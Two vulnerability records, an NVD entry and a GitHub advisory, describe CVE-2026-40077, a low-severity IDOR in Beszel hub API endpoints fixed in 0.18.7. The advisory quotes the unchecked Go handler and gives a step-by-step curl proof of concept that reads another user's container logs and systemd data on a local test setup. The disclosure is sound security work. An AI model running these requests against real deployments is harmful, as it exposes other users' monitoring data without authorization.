{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Beszel is a server monitoring platform. Prior to 0.18.7, some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system\u0027s ID. System IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the containers endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string. This vulnerability is fixed in 0.18.7."
    }
  ],
  "id": "CVE-2026-40077",
  "lastModified": "2026-04-13T15:02:27.760",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 3.5,
          "baseSeverity": "LOW",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-09T20:16:27.230",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/henrygd/beszel/releases/tag/v0.18.7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/henrygd/beszel/security/advisories/GHSA-5f5r-95pg-xrpm"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-184"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.18.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/henrygd/beszel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.18.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40077"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T17:32:05Z",
    "nvd_published_at": "2026-04-09T20:16:27Z",
    "severity": "LOW"
  },
  "details": "## Summary\nSome API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system\u0027s ID.\n\nSystem IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the `containers` endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string.\n\n## Affected Component\n\n- **File:** `internal/hub/api.go`, lines 283\u2013361\n- **Endpoints:**\n  - `GET /api/beszel/containers/logs?system=SYSTEM_ID\u0026container=CONTAINER_ID`\n  - `GET /api/beszel/containers/info?system=SYSTEM_ID\u0026container=CONTAINER_ID`\n  - `GET /api/beszel/systemd/info?system=SYSTEM_ID\u0026service=SERVICE_NAME`\n  - `POST /api/beszel/smart/refresh?system=SYSTEM_ID`\n- **Commit:** c7261b56f1bfb9ae57ef0856a0052cabb2fd3b84\n\n## Vulnerable Code\n\nThe `containerRequestHandler` function retrieves a system by ID but never verifies the authenticated user is a member of that system:\n\n```go\n// internal/hub/api.go:283-305\nfunc (h *Hub) containerRequestHandler(e *core.RequestEvent, fetchFunc func(*systems.System, string) (string, error), responseKey string) error {\n    systemID := e.Request.URL.Query().Get(\"system\")\n    containerID := e.Request.URL.Query().Get(\"container\")\n\n    if systemID == \"\" || containerID == \"\" {\n        return e.JSON(http.StatusBadRequest, map[string]string{\"error\": \"system and container parameters are required\"})\n    }\n    if !containerIDPattern.MatchString(containerID) {\n        return e.JSON(http.StatusBadRequest, map[string]string{\"error\": \"invalid container parameter\"})\n    }\n\n    system, err := h.sm.GetSystem(systemID)\n    // ^^^ No authorization check: e.Auth.Id is never verified against system.users\n    if err != nil {\n        return e.JSON(http.StatusNotFound, map[string]string{\"error\": \"system not found\"})\n    }\n\n    data, err := fetchFunc(system, containerID)\n    if err != nil {\n        return e.JSON(http.StatusNotFound, map[string]string{\"error\": err.Error()})\n    }\n\n    return e.JSON(http.StatusOK, map[string]string{responseKey: data})\n}\n```\n\nThe same pattern applies to `getSystemdInfo` (lines 322\u2013340) and `refreshSmartData` (lines 342\u2013361).\n\nMeanwhile, the standard PocketBase collection API enforces proper membership checks:\n\n```go\n// internal/hub/collections.go:56-57\nsystemsMemberRule := authenticatedRule + \" \u0026\u0026 users.id ?= @request.auth.id\"\nsystemMemberRule  := authenticatedRule + \" \u0026\u0026 system.users.id ?= @request.auth.id\"\n```\n\nThese rules are only applied to the PocketBase collection endpoints, **not** to the custom routes registered on `apiAuth`.\n\n### PoC\n**The proof:** The standard PocketBase API returns `404` (system not found) for unassigned systems. The custom endpoints resolve the system, contact the agent, and return data \u2014 proving the authorization check is missing.\n\n#### Step 1: Start the hub\n\n```bash\ncd ~/Evidence/henrygd/beszel/finding418/docker-poc/\ndocker compose up -d\n```\n\nWait a few seconds, then verify:\n\n```bash\ncurl -s http://localhost:8090/api/health\n```\n\nExpected: `{\"message\":\"API is healthy.\",\"code\":200,\"data\":{}}`\n\n#### Step 2: Create User A (admin)\n\nOpen `http://localhost:8090` in a browser and create the first user:\n\n- Email: `usera@test.com`\n- Password: `testpassword1`\n\n#### Step 3: Create User B (readonly)\n\nIn the Beszel UI, go to Users and add a new user:\n\n- Email: `userb@test.com`\n- Password: `testpassword2`\n- Role: **readonly**\n\n#### Step 4: Authenticate as User A\n\n```bash\nTOKEN_A=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"identity\":\"usera@test.com\",\"password\":\"testpassword1\"}\u0027 \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n\necho \"TOKEN_A=$TOKEN_A\"\n```\n\n#### Step 5: Get hub public key\n\n```bash\nHUB_KEY=$(curl -s http://localhost:8090/api/beszel/getkey \\\n  -H \"Authorization: $TOKEN_A\" \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027key\u0027])\")\n\necho \"HUB_KEY=$HUB_KEY\"\n```\n\n#### Step 6: Create a universal token and start the agent\n\n```bash\nUTOK_A=$(curl -s \"http://localhost:8090/api/beszel/universal-token?enable=1\" \\\n  -H \"Authorization: $TOKEN_A\" \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n\necho \"UTOK_A=$UTOK_A\"\n```\n\nFind the Docker network the hub is on:\n\n```bash\nNETWORK=$(docker inspect beszel-hub --format \u0027{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}\u0027)\necho \"Network: $NETWORK\"\n```\n\nStart the agent on the **same network** so the hub can reach it:\n\n```bash\ndocker run -d --name beszel-agent-a \\\n  --network \"$NETWORK\" \\\n  -e HUB_URL=http://beszel-hub:8090 \\\n  -e TOKEN=\"$UTOK_A\" \\\n  -e KEY=\"$HUB_KEY\" \\\n  henrygd/beszel-agent:latest\n```\n\nWait a few seconds for the agent to register:\n\n```bash\nsleep 5\n```\n\n#### Step 7: Verify User A sees the system\n\n```bash\ncurl -s http://localhost:8090/api/collections/systems/records \\\n  -H \"Authorization: $TOKEN_A\" | python3 -m json.tool\n```\n\nYou should see one system in `items`. Save the system ID:\n\n```bash\nSYSTEM_A_ID=$(curl -s http://localhost:8090/api/collections/systems/records \\\n  -H \"Authorization: $TOKEN_A\" \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027items\u0027][0][\u0027id\u0027])\")\n\necho \"SYSTEM_A_ID=$SYSTEM_A_ID\"\n```\n\n#### Step 8: Authenticate as User B (readonly)\n\n```bash\nTOKEN_B=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"identity\":\"userb@test.com\",\"password\":\"testpassword2\"}\u0027 \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n\necho \"TOKEN_B=$TOKEN_B\"\n```\n\nVerify User B sees NO systems:\n\n```bash\ncurl -s http://localhost:8090/api/collections/systems/records \\\n  -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\nExpected: `\"totalItems\": 0`\n\n#### Step 9: Control test \u2014 standard API blocks User B\n\n```bash\necho \"=== Standard PocketBase API ===\"\ncurl -s -w \"\\nHTTP Status: %{http_code}\\n\" \\\n  \"http://localhost:8090/api/collections/systems/records/$SYSTEM_A_ID\" \\\n  -H \"Authorization: $TOKEN_B\"\n```\n\nExpected: **404** \u2014 RBAC correctly hides the system from User B.\n\n#### Step 10: IDOR \u2014 SMART refresh (User B triggers action on User A\u0027s system)\n\n```bash\necho \"=== IDOR: POST /api/beszel/smart/refresh ===\"\ncurl -s \"http://localhost:8090/api/beszel/smart/refresh?system=$SYSTEM_A_ID\" \\\n  -X POST -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\nExpected: The hub processes the request and contacts the agent. Any response (data or agent error) proves the IDOR \u2014 compare with the 404 from Step 9.\n\n#### Step 11: IDOR \u2014 Systemd info (User B reads from User A\u0027s system)\n\n```bash\necho \"=== IDOR: GET /api/beszel/systemd/info ===\"\ncurl -s \"http://localhost:8090/api/beszel/systemd/info?system=$SYSTEM_A_ID\u0026service=sshd\" \\\n  -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\nExpected: Hub contacts the agent and returns systemd data or an agent-level error.\n\n#### Step 12: IDOR \u2014 Container logs (User B reads from User A\u0027s system)\n\nContainer endpoints require a Docker container ID (12-64 hex chars). Get a real one from the agent\u0027s host:\n\n```bash\n# Get a real container ID from Docker (first 12 hex chars)\nCONTAINER_ID=$(docker ps --format \u0027{{.ID}}\u0027 | head -1)\necho \"CONTAINER_ID=$CONTAINER_ID\"\n\necho \"=== IDOR: GET /api/beszel/containers/logs ===\"\ncurl -s \"http://localhost:8090/api/beszel/containers/logs?system=$SYSTEM_A_ID\u0026container=$CONTAINER_ID\" \\\n  -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\n#### Step 13: IDOR \u2014 Container info (User B reads from User A\u0027s system)\n\n```bash\necho \"=== IDOR: GET /api/beszel/containers/info ===\"\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM_A_ID\u0026container=$CONTAINER_ID\" \\\n  -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\n### Impact\n\n- **Container logs**: Content of recent application logs, potentially including sensitive information\n- **Container info**: Content of Docker engine API\u0027s `/containers/{id}/json` endpoint, excluding environment variables\n- **Systemd info**: Unit properties and status for any monitored service\n- **SMART refresh**: Trigger a SMART data update on any system",
  "id": "GHSA-5f5r-95pg-xrpm",
  "modified": "2026-04-10T17:32:05Z",
  "published": "2026-04-10T17:32:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/henrygd/beszel/security/advisories/GHSA-5f5r-95pg-xrpm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40077"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/henrygd/beszel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/henrygd/beszel/releases/tag/v0.18.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Beszel has an IDOR in hub API endpoints that read system ID from URL parameter"
}